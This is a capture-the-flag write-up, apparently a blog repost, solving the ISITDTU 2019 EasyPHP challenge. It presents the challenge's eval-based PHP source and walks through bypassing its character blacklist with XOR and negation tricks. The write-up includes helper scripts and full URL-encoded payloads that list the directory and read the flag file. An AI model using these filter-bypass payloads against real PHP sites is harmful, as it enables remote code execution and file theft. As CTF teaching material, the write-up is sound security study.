当前位置:网站首页>[ISITDTU 2019]EasyPHP
[ISITDTU 2019]EasyPHP
2022-06-11 16:21:00 【Game programming】
I have been fishing recently , I don't know what to do every day , I can't calm down to do the problem , I did this problem today , Finally, the understanding of the topic is ambiguous , So write it down wp To reinforce the knowledge points , Put no alphanumeric rce Consolidate the content of , This topic involves a small point , To learn more about bypass poses, read p God's article .
Turn on the target , See the source code :
<?phphighlight_file(__FILE__);$_ = @$_GET['_'];if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it');if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg');eval($_);?>The source code means to bypass two if, Last eval Carry out orders
The first regular match :
\x00- 0-9 matching \x00 To space (\x20), Numbers 0-9
'"`$&.,|[{_defgops\x7F matching '"`$&.,|[{_defgops These characters and DEL(\x7F) character The second regular match : count_chars() Function returns information about the characters used in a string ( Returns a string , Contains all the different characters used in the parameter ( Pattern 3)) in other words , Different characters cannot exceed 13 individual First try the built-in functions that satisfy the regularity with the following script , After checking, it is found that there is no available function <?php
$array=get_defined_functions();// Returns all built-in defined functions
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
?> Here try to negate or XOR around , Try it first phpinfo() php -r "echo urlencode(~'phpinfo');" From the information obtained, we can see that most functions are filtered , Here we use print_r(scandir(.)) To read the directory (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1)); The second match cannot be bypassed , To facilitate replacement, bypass , Use XOR %ff Form combined with substitution bypasses print_r(scandir(.)) by ((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF))); I have no patience to do this Read the article of the boss directly [ISITDTU 2019]EasyPHP_fmyyy1 The blog of -CSDN Blog First test the length locally <?php
$_ = $_GET['_'];
echo strlen(count_chars($_,3)); It's found that the length is 16, Need to find ways to reduce 3 individual Directly use the article method to replace str = 'acdips'
target = 'ntr'
for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m,a,b,c)) n = c^d^i t = c^d^s r = a^c^p utilize print_r To illustrate :(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF) The corresponding ntr Replace with : (%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF) Replace the last payload by ((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF))); The test length was found to be 13, Meet the requirements . payload by ?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF))); Find out flag At the end of the array , use readfile(end(scandir(.))) To read , The construction method is the same as above Last payload by : ?_=((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF))); $(function() { setTimeout(function () { var mathcodeList = document.querySelectorAll('.htmledit_views img.mathcode'); if (mathcodeList.length > 0) { var testImg = new Image(); testImg.onerror = function () { mathcodeList.forEach(function (item) { $(item).before('\(' + item.alt + '\)'); $(item).remove(); }) MathJax.Hub.Queue(["Typeset",MathJax.Hub]); } testImg.src = mathcodeList[0].src; } }, 1000) }) ahik1 Focus on
author :ahik1
Game programming , A game development favorite ~
If the picture is not displayed for a long time , Please use Chrome Kernel browser .
边栏推荐
- Pytest test framework Basics
- Database resource load management (Part 2)
- PostgreSQL source code compilation
- 推开混合云市场大门,Lenovo xCloud的破局之道
- PostgreSQL create database
- Time processing logic for the last 7 days, the last 10 days, and the last 90 days
- 学生网站模板棕色蛋糕甜品网站设计——棕色蛋糕甜品店(4页) 美食甜品网页制作期末大作业成品_生鲜水果网页设计期末作业
- Opengauss database flashback function verification
- What is RS stamp paper?
- Basic SQL statement - delete / update
猜你喜欢

Streaking? Baa!

【剑指Offer】21.调整数组顺序使奇数位于偶数前面

Discussion on opengauss parallel decoding

Heartless sword English Chinese bilingual poem 001 Spring outing

Opengauss enterprise installation

leetcode417. 太平洋大西洋水流问题(中等)

利用 MATLAB 和 DCRAW 处理数码相机 RAW 文件的完整流程

How can the project manager repel the fear of being dominated by work reports?

List和Dict数据类型作用详解
![Interview classic question: how to do the performance test? [Hangzhou multi surveyors] [Hangzhou multi surveyors \wang Sir]](/img/ea/2c5b48b08a9654b61694b93a2e7d0a.png)
Interview classic question: how to do the performance test? [Hangzhou multi surveyors] [Hangzhou multi surveyors \wang Sir]
随机推荐
High concurrency pseudo sharing and cache line filling (cache line alignment) (@contained)
JDBC debugging error, ask for guidance
How to optimize the performance of compose? Find the answer through "underlying principles" | developers say · dtalk
再聊数据中心网络
laravel 2020-01-01T00:00:00.000000Z 日期转化
After reading the book reading methods
Aaai2022 latest "time series data processing" report, 127 pages of PPT describing time series data processing and medical application progress
Collection | can explain the development and common methods of machine learning!
[learn FPGA programming from scratch -18]: quick start chapter - operation steps 2-6- VerilogHDL sequential circuit syntax analysis (taking the counter as an example)
搜索与图论:Dijkstra求最短路 I—Dijkstra(最短路径)
Overview and example analysis of opengauss database performance tuning
Search and graph theory: Dijkstra finding the shortest path i-dijkstra (shortest path)
How to predict SQL statement query time?
DHCP protocol instantiation analysis
Detailed explanation of MySQL binlog log and master-slave replication
How does the taskbar under the computer display open programs
Heartless sword English Chinese bilingual poem 001 Spring outing
[ISITDTU 2019]EasyPHP
用户界面之工具栏详解-AutoRunner自动化测试工具
Customized thread communication (lock) of JUC